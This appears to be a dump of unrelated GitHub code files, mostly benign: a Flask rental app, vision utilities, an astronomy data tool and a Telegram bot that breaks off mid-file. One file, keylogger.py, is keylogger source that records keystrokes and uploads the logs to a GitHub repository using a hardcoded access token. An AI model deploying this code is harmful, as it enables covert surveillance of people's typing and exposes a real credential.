if self.book_type == 'regular':\n per_day_rental = 2\n if self.duration > 2:\n per_day_rental = 1.5\n first_two_days = self.regular_first_two_days()\n remaining_days = self.duration - 2\n remaining_days_charges = self.number_of_books * (remaining_days * per_day_rental)\n total_charge = first_two_days + remaining_days_charges\n return total_charge\n\n return self.number_of_books * (self.duration * per_day_rental)\n\n if self.book_type == 'fiction':\n per_day_rental = 3\n return self.number_of_books * (self.duration * per_day_rental)\n if self.book_type == 'novel':\n per_day_rental = 4.5\n if self.duration > 3:\n per_day_rental = 1.5\n return self.number_of_books * (self.duration * per_day_rental)\n\n return self.number_of_books * (self.duration * per_day_rental)\n \n def regular_first_two_days(self):\n per_day_rental = 1\n return self.number_of_books * (2 * per_day_rental)\n\n\n@app.route('/', methods=('GET', 'POST'))\ndef index():\n if request.method == 'POST':\n req = request.form\n book_type = req.get('book_type') or None\n number_of_books = req.get('number') or None\n book_duration = req.get('duration') or None\n\n try:\n number_of_books = int(str(number_of_books))\n book_duration = int(str(book_duration))\n\n except ValueError:\n flash('Both no of books and duration should be integers')\n\n else:\n charges['books'].append(str(number_of_books) + ' ' + book_type + ' x ' + str(book_duration) + ' days')\n charges['number'].append(str(number_of_books) + book_type)\n charges['duration'].append(str(book_duration))\n\n story_one = Story1(int(number_of_books), int(book_duration))\n story_one_charges = story_one.calculate_charge(1)\n charges['story_one']['total'] = charges['story_one']['total'] + story_one_charges\n\n story_two = Story2(int(number_of_books), int(book_duration), book_type)\n story_two_charges = story_two.calculate_charge()\n charges['story_two']['total'] = charges['story_two']['total'] + story_two_charges\n\n story_three = Story3(int(number_of_books), int(book_duration), book_type)\n story_three_charges = story_three.calculate_charge()\n charges['story_three']['total'] = charges['story_three']['total'] + story_three_charges\n\n\n return render_template('index.html', books=books, charges=charges)","repo_name":"jmkitavi/book-rental-interview","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71796372403","text":"import torch\nimport torchvision\n\ndef xywh2xyxy(x):\n # Convert nx4 boxes from [x, y, w, h] to [x1, y1, x2, y2] where xy1=top-left, xy2=bottom-right\n y = torch.zeros_like(x) if isinstance(x, torch.Tensor) else np.zeros_like(x)\n y[:, 0] = x[:, 0] - x[:, 2] / 2 # top left x\n y[:, 1] = x[:, 1] - x[:, 3] / 2 # top left y\n y[:, 2] = x[:, 0] + x[:, 2] / 2 # bottom right x\n y[:, 3] = x[:, 1] + x[:, 3] / 2 # bottom right y\n return y\n\ndef xyxy2xywh(x):\n # Convert nx4 boxes from [x1, y1, x2, y2] to [x, y, w, h] where xy1=top-left, xy2=bottom-right\n y = torch.zeros_like(x) if isinstance(x, torch.Tensor) else np.zeros_like(x)\n y[:, 0] = (x[:, 0] + x[:, 2]) / 2 # x center\n y[:, 1] = (x[:, 1] + x[:, 3]) / 2 # y center\n y[:, 2] = x[:, 2] - x[:, 0] # width\n y[:, 3] = x[:, 3] - x[:, 1] # height\n return y\n\ndef scale_coords(img1_shape, coords, img0_shape, ratio_pad=None):\n # Rescale coords (xyxy) from img1_shape to img0_shape\n if ratio_pad is None: # calculate from img0_shape\n gain = min(img1_shape[0] / img0_shape[0], img1_shape[1] / img0_shape[1]) # gain = old / new\n pad = (img1_shape[1] - img0_shape[1] * gain) / 2, (img1_shape[0] - img0_shape[0] * gain) / 2 # wh padding\n else:\n gain = ratio_pad[0][0]\n pad = ratio_pad[1]\n\n coords[:, [0, 2]] -= pad[0] # x padding\n coords[:, [1, 3]] -= pad[1] # y padding\n coords[:, :4] /= gain\n clip_coords(coords, img0_shape)\n return coords\n\n\ndef clip_coords(boxes, img_shape):\n # Clip bounding xyxy bounding boxes to image shape (height, width)\n boxes[:, 0].clamp_(0, img_shape[1]) # x1\n boxes[:, 1].clamp_(0, img_shape[0]) # y1\n boxes[:, 2].clamp_(0, img_shape[1]) # x2\n boxes[:, 3].clamp_(0, img_shape[0]) # y2\n\ndef box_iou(box1, box2):\n # https://github.com/pytorch/vision/blob/master/torchvision/ops/boxes.py\n \"\"\"\n Return intersection-over-union (Jaccard index) of boxes.\n Both sets of boxes are expected to be in (x1, y1, x2, y2) format.\n Arguments:\n box1 (Tensor[N, 4])\n box2 (Tensor[M, 4])\n Returns:\n iou (Tensor[N, M]): the NxM matrix containing the pairwise\n IoU values for every element in boxes1 and boxes2\n \"\"\"\n\n def box_area(box):\n # box = 4xn\n return (box[2] - box[0]) * (box[3] - box[1])\n\n area1 = box_area(box1.t())\n area2 = box_area(box2.t())\n\n # inter(N,M) = (rb(N,M,2) - lt(N,M,2)).clamp(0).prod(2)\n inter = (torch.min(box1[:, None, 2:], box2[:, 2:]) - torch.max(box1[:, None, :2], box2[:, :2])).clamp(0).prod(2)\n return inter / (area1[:, None] + area2 - inter) # iou = inter / (area1 + area2 - inter)\n\n\n\ndef non_max_suppression(prediction, conf_thres=0.1, iou_thres=0.6, merge=True, classes=None, agnostic=False):\n \"\"\"Performs Non-Maximum Suppression (NMS) on inference results\n\n Returns:\n detections with shape: nx6 (x1, y1, x2, y2, conf, cls)\n \"\"\"\n if prediction.dtype is torch.float16:\n prediction = prediction.float() # to FP32\n\n nc = prediction[0].shape[1] - 5 # number of classes\n xc = prediction[..., 4] > conf_thres # candidates\n\n # Settings\n min_wh, max_wh = 2, 4096 # (pixels) minimum and maximum box width and height\n max_det = 300 # maximum number of detections per image\n time_limit = 10.0 # seconds to quit after\n redundant = True # require redundant detections\n multi_label = nc > 1 # multiple labels per box (adds 0.5ms/img)\n\n # t = time.time()\n output = [None] * prediction.shape[0]\n for xi, x in enumerate(prediction): # image index, image inference\n # Apply constraints\n # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0 # width-height\n x = x[xc[xi]] # confidence\n\n # If none remain process next image\n if not x.shape[0]:\n continue\n\n # Compute conf\n x[:, 5:] *= x[:, 4:5] # conf = obj_conf * cls_conf\n\n # Box (center x, center y, width, height) to (x1, y1, x2, y2)\n box = xywh2xyxy(x[:, :4])\n\n # Detections matrix nx6 (xyxy, conf, cls)\n if multi_label:\n i, j = (x[:, 5:] > conf_thres).nonzero().t()\n x = torch.cat((box[i], x[i, j + 5, None], j[:, None].float()), 1)\n else: # best class only\n conf, j = x[:, 5:].max(1, keepdim=True)\n x = torch.cat((box, conf, j.float()), 1)[conf.view(-1) > conf_thres]\n\n # Filter by class\n if classes:\n x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]\n\n # Apply finite constraint\n # if not torch.isfinite(x).all():\n # x = x[torch.isfinite(x).all(1)]\n\n # If none remain process next image\n n = x.shape[0] # number of boxes\n if not n:\n continue\n\n # Sort by confidence\n # x = x[x[:, 4].argsort(descending=True)]\n\n # Batched NMS\n c = x[:, 5:6] * (0 if agnostic else max_wh) # classes\n boxes, scores = x[:, :4] + c, x[:, 4] # boxes (offset by class), scores\n i = torchvision.ops.boxes.nms(boxes, scores, iou_thres)\n if i.shape[0] > max_det: # limit detections\n i = i[:max_det]\n if merge and (1 < n < 3E3): # Merge NMS (boxes merged using weighted mean)\n try: # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)\n iou = box_iou(boxes[i], boxes) > iou_thres # iou matrix\n weights = iou * scores[None] # box weights\n x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(1, keepdim=True) # merged boxes\n if redundant:\n i = i[iou.sum(1) > 1] # require redundancy\n except: # possible CUDA error https://github.com/ultralytics/yolov3/issues/1139\n print(x, i, x.shape, i.shape)\n pass\n\n output[xi] = x[i]\n# if (time.time() - t) > time_limit:\n# break # time limit exceeded\n\n return output\n","repo_name":"ZJU-lishuang/yolov5_sim","sub_path":"code/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"36592515792","text":"\"\"\"Contains tools for extracting and formatting data for use with PLD.\n\n\n\"\"\"\n\nimport os\nimport re\nimport pickle\nimport numpy as np\n\nfrom astropy.io import fits\nfrom astropy.wcs import WCS\nfrom astropy.coordinates import SkyCoord\nfrom astropy.wcs.utils import skycoord_to_pixel\nfrom astropy import units as u\nfrom astropy.coordinates import Angle\n\nclass PLDEventData(object):\n \"\"\"Used to extract and format Spitzer data for use with PLD.\n \n A PLDEventData object is initialized with the coordinates of the event and a string \n specifying a path to the source directory for the data. The resulting object will store \n the (5-by-5, or custom size given by the 'box' parameter) images, in the vicinity of \n the event coordinates. OGLE data can be added as well, and the flux, errors, etc. can \n all be obtained.\n \n Attributes:\n cbcd_pattern: String representing a regex pattern for CBCD of the desired format.\n src: List of string source directory paths linked to this PLDEventData object.\n coords: Tuple of strings (ra,dec), containing the RA and declination of the event, \n where ra is in the format 'hh:mm:ss.ss' and dec in the format 'dd:mm:ss.ss'.\n channel: Integer Spitzer IRAC channel to use, defaults to 1 (3.6 microns).\n time: List of times corresponding to each image, separated by dither position.\n img: List of cropped CBCD, separated by dither position.\n img_err: List of cropped CBUNC, separated by dither position.\n t_g: Ground-based time-series data.\n mag_g: Ground-based magnification data.\n mag_err_g: Ground-based magnification error data.\n flux_g: Calculated ground-based flux data.\n flux_err_g: Calculated ground-based flux error data.\n ndit: Integer number of dither positions for the Spitzer data.\n box: Integer width & height of the images, defaults to 5.\n \"\"\"\n \n def __init__(self,src,coords,channel=1,recursive=False,box=5,subtract_2450000=False,ogle_data=None):\n \"\"\"Initializes a PLDEventData object.\n \n Args:\n src (str): Path to source folder containing data.\n coords (tuple of str): The RA and declination of the event, (ra,dec), where \n ra is in the format 'hh:mm:ss.ss' and dec in the format 'dd:mm:ss.ss'.\n channel (int): IRAC channel to use. Select 1 for 3.6 microns, or 2 for 4.5\n microns. Defaults to 1.\n recursive (bool): If ``True``, searches subdirectories recursively. Defaults\n to ``False``.\n box (int): Pixel width of cropped images. Defaults to 5.\n subtract_2450000 (bool): If ``True``, subtracts 2450000 from all times.\n Defaults to ``False``.\n ogle_data (str): Path to OGLE data file as donwloaded from OGLE Early Warning \n System.\n \"\"\"\n \n if box%2 == 0:\n raise Exception(\"Parameter 'box' must be an odd integer.\")\n \n # Setting attributes\n self.cbcd_pattern = '^SPITZER_I%i_[0-9]{6,10}_[0-9]{3}[1-9]_0000_[1-2]_cbcd.fits$'%channel\n #self.cbunc_pattern = '^SPITZER_I%i_[0-9]{6,10}_[0-9]{3}[1-9]_0000_1_cbunc.fits$'%channel\n self.src = [src]\n self.coords = coords\n self.channel = channel\n self.time = []\n self.img = []\n self.img_err = []\n self.flux_s = None\n self.flux_err_s = None\n self.flux_frac = None\n self.flux_scatter = None\n self.t_g = None\n self.mag_g = None\n self.mag_err_g = None\n self.flux_g = None\n self.flux_err_g = None\n self.ndit = 0\n self.box = box\n \n t0 = 0 if subtract_2450000 else 2450000\n \n # Search src directory for fits files\n if recursive:\n centroid_data = self.extract_centroid_data_recursive(src)\n else:\n centroid_data = self.extract_centroid_data(src)\n if len(centroid_data) > 0:\n # Separate into dithers and get images\n expids = np.array(centroid_data)[:,1]\n dithers = np.unique(expids)\n self.ndit = len(dithers)\n arrs = np.array(list(map(list,zip(*centroid_data))))\n for i in dithers:\n ind = np.array(expids)==i\n dithered = arrs[:,ind]\n aorkey,expid,time,xp,yp,cbcd_filepath,cbunc_filepath = dithered\n xp = np.array(xp,dtype=float)\n yp = np.array(yp,dtype=float)\n time = np.array(time,dtype=float)+t0\n x0 = round(np.median(xp)-1)\n y0 = round(np.median(yp)-1)\n img = np.empty((len(aorkey),box,box))\n img_err = np.empty((len(aorkey),box,box))\n for i,k in enumerate(aorkey):\n img[i] = self.target_image_square(cbcd_filepath[i],x0,y0,box=box)\n img_err[i] = self.target_image_square(cbunc_filepath[i],x0,y0,box=box)\n self.time.append(time)\n self.img.append(img)\n self.img_err.append(img_err)\n try:\n self.flux_s,self.flux_err_s,self.flux_frac,self.flux_scatter = self.aperture_photometry()\n except:\n pass\n if ogle_data is not None:\n self.add_OGLE_data(ogle_data,subtract_2450000=subtract_2450000)\n \n @staticmethod\n def target_image_square(filepath,xp,yp,box=5):\n \"\"\"Extract small square centered at event centroid.\n \n Takes as input a path to a FITS file along with a pair of x- and y-coordinates\n and returns a 5-by-5 (or other width specified by ``box``) image centered at\n these selected coordinates.\n \n Args:\n filepath (str): Path to FITS file.\n xp (int): Pixel x-coordinate.\n yp (int): Pixel y-coordinate.\n box (int): Pixel image width, defaults to 5.\n \"\"\"\n hdu_list = fits.open(filepath)\n full_img = hdu_list[0].data\n hdu_list.close()\n \n half = int((box-1)/2)\n xmin = xp-half\n ymin = yp-half\n xmax = xmin+box\n ymax = ymin+box\n \n return full_img[ymin:ymax,xmin:xmax]\n \n @staticmethod\n def read_fits_file(cbcd_filepath,coords,origin=1):\n \"\"\"Reads FITS file header to obtain centroid information.\n \n Args:\n cbcd_filepath (str): Path to CBCD FITS file.\n coords (tuple of str): The RA and declination of the event, (ra,dec), where \n ra is in the format 'hh:mm:ss.ss' and dec in the format 'dd:mm:ss.ss'.\n origin (int): Pixel indexing origin for FITS image, defaults to 1.\n \n Returns:\n aorkey: String representing a unique code the epoch.\n expid: Integer exposure ID, or the dither position number.\n time: Float; time that image was taken, in HJD-2450000.\n xp: Float; exact x-coordinate of event centroid on the image.\n yp: Float; exact y-coordinate of event centroid on the image.\n cbcd_filepath: String path to CBCD fits file.\n cbunc_filepath: String path to corresponding CBUNC FITS error file.\n \"\"\"\n # Open fits file and obtain header\n hdu_list = fits.open(cbcd_filepath)\n header = hdu_list[0].header\n hdu_list.close()\n # Extract the data we need\n aorkey = header['AORKEY'] # AOR key of this image\n expid = int(header['EXPID']) # Get the dither number (exposure id)\n\n time = float(header['BMJD_OBS']-5e4) # Time of image in Reduced Helioc. Mod. Julian Date (may need to change this)\n\n w = WCS(header)\n ra = Angle(coords[0],unit='hourangle')\n dec = Angle(coords[1],unit='deg')\n coords = SkyCoord(ra,dec)\n (xp,yp) = skycoord_to_pixel(coords,w,mode='wcs',origin=origin) # Convert to pixel coordinates\n \n cbunc_filepath = cbcd_filepath[:-9]+'cbunc.fits'\n \n return aorkey,expid,time,xp,yp,cbcd_filepath,cbunc_filepath\n \n def extract_centroid_data_recursive(self,src):\n \"\"\"Recursively search directory for FITS files and extract centroid data.\n \n Performs a depth-first search of the directory structure rooted at src. Calls\n the ``read_fits_file`` method on every FITS file found that matches the CBCD\n pattern ``cbcd_pattern``, and returns a list of the results.\n \n Args:\n src (str): Path to root directory for search.\n \n Returns:\n List of tuples (aorkey,expid,time,xp,yp,cbcd_filepath,cbunc_filepath) for\n each CBCD FITS file found. See ``read_fits_file`` for more information.\n \"\"\"\n centroid_data = []\n def rec(src):\n # Inner recursive function to search the file tree and extract data\n for fname in os.listdir(src):\n path = os.path.join(src,fname)\n if os.path.isdir(path):\n # Recursively search subdirectories\n rec(path)\n else:\n if re.match(self.cbcd_pattern,fname,re.I):\n # Get centroid data\n centroid_data.append(list(self.read_fits_file(path,self.coords)))\n rec(src)\n return centroid_data\n \n def extract_centroid_data(self,src):\n \"\"\"Search directory for FITS files and extract centroid data.\n \n Searches ``src`` folder for FITS files. Calls the ``read_fits_file`` method on \n every FITS file found that matches the CBCD pattern ``cbcd_pattern``, and returns \n a list of the results.\n \n Args:\n src (str): Path to root directory for search.\n \n Returns:\n List of tuples (aorkey,expid,time,xp,yp,cbcd_filepath,cbunc_filepath) for\n each CBCD FITS file found. See ``read_fits_file`` for more information.\n \"\"\"\n centroid_data = []\n for fname in os.listdir(src):\n path = os.path.join(src,fname)\n if os.path.isfile(path):\n if re.match(self.cbcd_pattern,fname,re.I):\n # Get flux data from CBCD\n centroid_data.append(self.read_fits_file(path,self.coords))\n return centroid_data\n \n def add_OGLE_data(self,datafile,subtract_2450000=False):\n \"\"\"Add ground-based observations to this PLDEventData.\n \n Takes in data files formatted as per the data from the OGLE Early Warning System,\n where the first three columns represent the time, magnification, and error on the\n magnification.\n \n Args:\n datafile (str): Path to OGLE data file.\n subtract_2450000 (bool): If ``True``, subtracts 2450000 from all times.\n Defaults to ``False``.\n \"\"\"\n time,mag,mag_err = np.loadtxt(datafile,usecols=(0,1,2)).T\n self.src.append(datafile)\n if subtract_2450000:\n time -= 2450000\n \n self.t_g = time\n self.mag_g = mag\n self.mag_err_g = mag_err\n self.flux_g = 10**(-(mag-18)/2.5)\n self.flux_err_g = np.sqrt((10**(-(mag-18)/2.5)*(-0.4)*np.log(10))**2*mag_err**2)\n \n def save(self,filepath='pld_event_data.pkl',overwrite=False):\n \"\"\"Saves the PLDEventData instance as a pickle file.\n \n Args:\n filepath (str): Path at which to store the pickled object. Defaults to\n 'pld_event_data.pkl'.\n overwrite (bool): If ``True``, will overwrite the file path. Otherwise raises\n an error if the file already exists. Defaults to ``False``.\n \"\"\"\n if os.path.exists(filepath) and not overwrite:\n raise Exception('Path %s already points to a file.'%filepath)\n else:\n with open(filepath,'wb') as output:\n pickle.dump(self,output,pickle.HIGHEST_PROTOCOL)\n \n @classmethod\n def from_pickle(cls,filepath):\n \"\"\"Loads a PLDEventData from a pickle file.\n \n Args:\n filepath (str): Path from which to load the object.\n \n Returns:\n A PLDEventData instance loaded from the pickle file.\n \"\"\"\n with open(filepath, 'rb') as file:\n event = pickle.load(file)\n if isinstance(event,PLDEventData):\n return event\n else:\n raise Exception('Could not parse file at %s to a PLDEventData object.'%filepath)\n \n def aperture_photometry(self):\n \"\"\"Get sattelite flux data for this event.\n \n A getter method for space-based flux, flux error, fractional flux, and raw scatter on\n the flux. Also calculates these values from the raw images if not already done.\n \n Returns:\n flux: Array of flux data.\n flux_err: Array of flux error data.\n flux_frac: Array of fractional flux data.\n flux_scatter: Float, estimate raw scatter in the flux data.\n \"\"\"\n if (self.flux_s is not None and \n self.flux_err_s is not None and \n self.flux_frac is not None and \n self.flux_scatter is not None):\n return self.flux_s,self.flux_err_s,self.flux_frac,self.flux_scatter\n else:\n flux = []\n flux_err = []\n flux_frac = []\n for i,img in enumerate(self.img):\n tmp = np.sum(img,axis=(1,2))\n flux.append(tmp)\n flux_err.append(np.sum(self.img_err[i],axis=(1,2)))\n flux_frac.append(img/tmp[:,None,None])\n flux_med = np.median(flux,axis=0)\n flux_scatter = np.std(flux - flux_med)\n return np.array(flux),np.array(flux_err),np.array(flux_frac),np.array(flux_scatter)","repo_name":"tbctk/tbk-Spitzer-ulens","sub_path":"Spitzer_ulens/data_config.py","file_name":"data_config.py","file_ext":"py","file_size_in_byte":13904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41115121259","text":"import weixin_main,time,datetime,qiushi\nfrom selenium.webdriver.common.keys import Keys\ndef test():\n print ('12sdfas30')\n time.sleep(2)\n b=weixin_main.driver.find_element_by_class_name(\"login_box\").is_displayed() \n if b:\n print ('yes, find',b)\n \n else:\n print ('oh, no',b)\n pass\n \ndef test2():\n print ('nothing')\n print ('12sdfas3')\n elem = a1.driver.find_element_by_id(\"editArea\")\n\n print ('12sdfas31112')\n #要输入的文本内容\n\n b=str(datetime.datetime.now())\n b=qiushi.main1()\n\n print (b)\n elem.send_keys(b)\n print ('1')\n time.sleep(2000)\n elem.send_keys(Keys.ENTER)\n print ('2')\n \n","repo_name":"wjb711/Python_learn","sub_path":"爬虫/新建文件夹/a2.py","file_name":"a2.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"73647382001","text":"import cv2\nimport numpy as np\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.models import load_model\nfrom imutils.video import VideoStream\nimport imutils\n\n\ndef detecting_mask(frame, net, loaded_model):\n (h, w) = frame.shape[:2]\n blob = cv2.dnn.blobFromImage(frame, 1.0, (256, 256), (104.0, 177.0, 123.0))\n\n net.setInput(blob)\n detections = net.forward()\n\n faces = []\n locations = []\n predictions = []\n\n for i in range(0, detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n\n if confidence > 0.5:\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype('int')\n (startX, startY) = (max(0, startX), max(0, startY))\n (endX, endY) = (min(w - 1, endX), min(h - 1, endY))\n\n face = frame[startY:endY, startX:endX]\n face = cv2.cvtColor(face, cv2.COLOR_BGR2RGB)\n face = cv2.resize(face, (256, 256))\n face = img_to_array(face)\n face = preprocess_input(face)\n\n faces.append(face)\n locations.append((startX, startY, endX, endY))\n\n if len(faces) > 0:\n faces = np.array(faces, dtype = 'float32')\n predictions = loaded_model.predict(faces, batch_size = 32)\n\n return (locations, predictions)\n\n\nprint('[INFO] Loading Face Detector Model...')\nprototxt_path = r'face_detector\\deploy.prototxt'\nweights_path = r'face_detector\\res10_300x300_ssd_iter_140000.caffemodel'\nnet = cv2.dnn.readNet(prototxt_path, weights_path)\n\nloaded_model = load_model('Facemask_Detector.model')\n\nprint('[INFO] Starting Video Stream....')\nvs = VideoStream(src=0).start()\n\n\nwhile True:\n frame = vs.read()\n frame = imutils.resize(frame, width=800)\n\n (locations, predictions) = detecting_mask(frame, net, loaded_model)\n\n for (box, prediction) in zip(locations, predictions):\n (startX, startY, endX, endY) = box\n (mask, withoutMask) = prediction\n\n label = 'Mask' if mask > withoutMask else 'No Mask'\n color = (0, 255, 0) if label == 'Mask' else (0, 0, 255)\n\n label = '{}: {:.2f}%'.format(label, max(mask, withoutMask) * 100)\n\n cv2.putText(frame, label, (startX, startY - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.45, color, 2)\n cv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\n\n cv2.imshow('Facemask Detector', frame)\n key = cv2.waitKey(1) & 0xFF\n\n if key == ord('q'):\n break\n\n\ncv2.destroyAllWindows()\nvs.stop()\n","repo_name":"JeevaNagarajan/COVID-19-Face-Mask-Detector-using-Deep-Learning","sub_path":"mask_detector.py","file_name":"mask_detector.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37792809863","text":"from pynput.keyboard import Key, Listener\nimport os\nfrom github import Github\nfrom datetime import datetime\n\nclass Keylogger:\n def __init__(self):\n self.count = 0\n self.keys = []\n self.dir = \"keylogs\"\n self.access_token = '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'\n self.g = Github(self.access_token)\n self.user = self.g.get_user()\n self.repo = self.user.get_repo('pythonDevelopment2')\n self.log_started = False\n\n def start_keylogger(self):\n current_time = datetime.now()\n self.timeStamp = current_time.strftime(\"%d-%m-%Y-%Hu%Mm%Ss\")\n self.log_started = True\n self.listener = Listener(on_press=self.on_press, on_release=self.on_release)\n self.listener.start()\n self.listener.join()\n\n def on_press(self, key):\n if self.log_started:\n self.keys.append(key)\n self.count += 1\n print(\"{0} pressed\".format(key))\n if self.count >= 15:\n self.count = 0\n self.write_file(self.keys)\n self.keys = []\n\n def write_file(self, keys):\n if not os.path.exists(self.dir):\n os.mkdir(self.dir)\n file_name = f\"logfile-{self.timeStamp}\"\n log_path = os.path.join(self.dir, file_name)\n with open(log_path, \"a\") as log:\n for key in keys:\n k = str(key).replace(\"'\", \"\")\n if k.find(\"space\") > 0:\n log.write('\\n')\n elif k.find(\"Key\") == -1:\n log.write(k)\n\n def send_github(self):\n file_name = f\"logfile-{self.timeStamp}\"\n log_path = os.path.join(self.dir, file_name)\n with open(log_path, \"rb\") as file:\n self.repo.create_file(f\"{self.dir}/{file_name}\", \"Added logfile\", file.read())\n\n def on_release(self, key):\n if key == Key.esc:\n if self.log_started:\n self.log_started = False\n self.send_github()\n self.listener.stop()\n exit()\n return False\n","repo_name":"KlaasMouws/python_development2","sub_path":"keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5238074783","text":"\"\"\"\nBy listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that\nthe 6th prime is 13.\n\nWhat is the 10 001st prime number?\n\"\"\"\n\ndef is_prime(n):\n if n < 2:\n return False\n elif n == 2:\n return True\n\n for i in range(3, int(n**0.5 + 1), 2):\n if n % i == 0:\n return False\n\n return True\n\nif __name__ == \"__main__\":\n\n count = 1\n num = 1\n\n while count < 10001:\n num += 2\n if is_prime(num):\n count += 1\n\n print(num)","repo_name":"pkla/euler","sub_path":"7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35735430688","text":"import os\nimport argparse\n\ndef crypt(addtxt,basedir):\n for root,dirs,files in os.walk(basedir): \n for file in files: \n name_o = os.path.join(root,file).replace(\"\\\\\",\"/\")\n if addtxt:\n os.rename(name_o,name_o +\".txt\")\n elif name_o.endswith(\".txt\"):\n os.rename(name_o,name_o[0:-4])\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--crypt', type=int, default=0)\n parser.add_argument('--dir', type=str, default=\"\")\n opt = parser.parse_args()\n\n if opt.dir:\n crypt(opt.crypt,opt.dir)","repo_name":"jedi007/TestPyTorch","sub_path":"base/decryptLD.py","file_name":"decryptLD.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74691969522","text":"import sys\nfrom collections import deque\n\ndef input():\n return sys.stdin.readline().rstrip()\n\ndef open_country(i, j, visited):\n q = deque()\n q.append([i, j])\n \n visited[i][j] = True\n dxy = [[0, -1], [0, 1], [-1, 0], [1, 0]]\n idxs = [[i, j]]\n population = arr[i][j]\n n = 1\n \n flag = False\n \n while q:\n x, y = q.popleft()\n for d in dxy:\n nx = x + d[0]\n ny = y + d[1]\n if nx < 0 or nx >= N or ny < 0 or ny >= N:\n continue\n if visited[nx][ny]:\n continue\n if L <= abs(arr[x][y] - arr[nx][ny]) <= R:\n visited[nx][ny] = True\n idxs.append([nx, ny])\n q.append([nx, ny])\n population += arr[nx][ny]\n n += 1\n flag = True\n \n for idx in idxs:\n arr[idx[0]][idx[1]] = population // n\n \n return flag\n \nN, L, R = map(int, input().split())\n\narr = []\nfor _ in range(N):\n arr.append(list(map(int, input().split())))\n\nresult = 0\nwhile True:\n visited = [[False] * N for _ in range(N)]\n flag = 0\n for i in range(N):\n for j in range(N):\n if not visited[i][j]:\n flag += open_country(i, j, visited)\n if not flag:\n break\n result += 1\nprint(result)","repo_name":"chanwooleeme/baekjoon","sub_path":"BOJ-with-tony9420/11.Simulation/0.16234.py","file_name":"0.16234.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35243141782","text":"import logging\nfrom typing import List\n\nfrom telegram import ParseMode, Update\nfrom telegram.ext import CallbackContext\nfrom telegram.error import BadRequest\n\nfrom bot_functions import bot_message_to_chat, fill_template, minutes_to_hours, get_user_levels\nfrom constants import EM_TRUE, EM_FAIL, EM_FALSE, EM_WEEKEND, JOB_DAYS_DURATION, USERS, TRUNCATE_LENGTH, DROWN_AFTER\nfrom database import db_query, get_effective_job\nfrom responses import Responses\nfrom telegram import InputMediaPhoto\n\nlogger = logging.getLogger(__name__)\n\nclass PostUpdater:\n \"\"\"Class which applies updates to posts on demand or after sticker replies\"\"\"\n def __init__(self, update):\n \"\"\"If update is given as tuple from query then handling update as on_demand\n If update is given as Update then parsing wrapper Update class for entities\n \"\"\"\n\n if isinstance(update, tuple):\n self.on_demand = True\n (self.job_id, self.job_type, self.start_date, self.job_message_id,\n self.job_chat_id, self.order_number, \n self.cur_day, self.user_id, self.is_caption) = update\n\n elif isinstance(update, Update):\n self.on_demand = False\n message = update[\"message\"]\n reply = message[\"reply_to_message\"]\n user = update.effective_user\n if reply is None:\n try:\n self.job_chat_id, self.job_message_id = get_effective_job(message[\"chat\"][\"id\"])\n except:\n return\n else:\n # TODO: Can be removed if we always extract job from the database.\n try:\n # Job posted to channel\n self.job_chat_id = reply[\"forward_from_chat\"][\"id\"]\n self.job_message_id = reply[\"forward_from_message_id\"]\n except TypeError:\n # Job posted to chat\n self.job_chat_id = message[\"chat\"][\"id\"]\n self.job_message_id = reply[\"message_id\"]\n\n self.user_id = user[\"id\"]\n self.username = user[\"username\"]\n self.user_firstname = user[\"first_name\"]\n\n self.chat_id_user_reply = message[\"chat\"][\"id\"]\n self.message_id_user_reply = message[\"message_id\"]\n\n # Getting active jobs if they exist\n try:\n (\n self.job_id, self.start_date, self.cur_day, self.job_type, self.order_number,\n self.sticker_id, self.sticker_power, self.yesterday_work,\n ) = db_query(\n f\"\"\"select jobs.id, jobs.created, DATE_PART('day', now()-jobs.created), type, order_number , stickers.id, power, count(jobs_updates.created)\n from jobs left join jobs_updates \n on jobs.id=jobs_updates.job_id and user_id={self.user_id} and date_part('day', jobs_updates.created - jobs.created) = least(4, DATE_PART('day', now()-jobs.created) - 1)\n left join stickers on stickers.text_id = '{message['sticker']['file_unique_id']}'\n where message_id = {self.job_message_id} and chat_id = {self.job_chat_id} and DATE_PART('day', now()-jobs.created) < {JOB_DAYS_DURATION}\n group by jobs.id, jobs.created, DATE_PART('day', now()-jobs.created), type, order_number , stickers.id, power\n \"\"\"\n )[0]\n except IndexError:\n # Job not exists\n self.job_id = self.sticker_id = None\n\n\n def rebuild_message(self, context: CallbackContext) -> None:\n \"\"\"Generates message trough call of fill_template and get_posted_message and tries to edit already posted message. If message stays the same BadRequest exception is passed\n 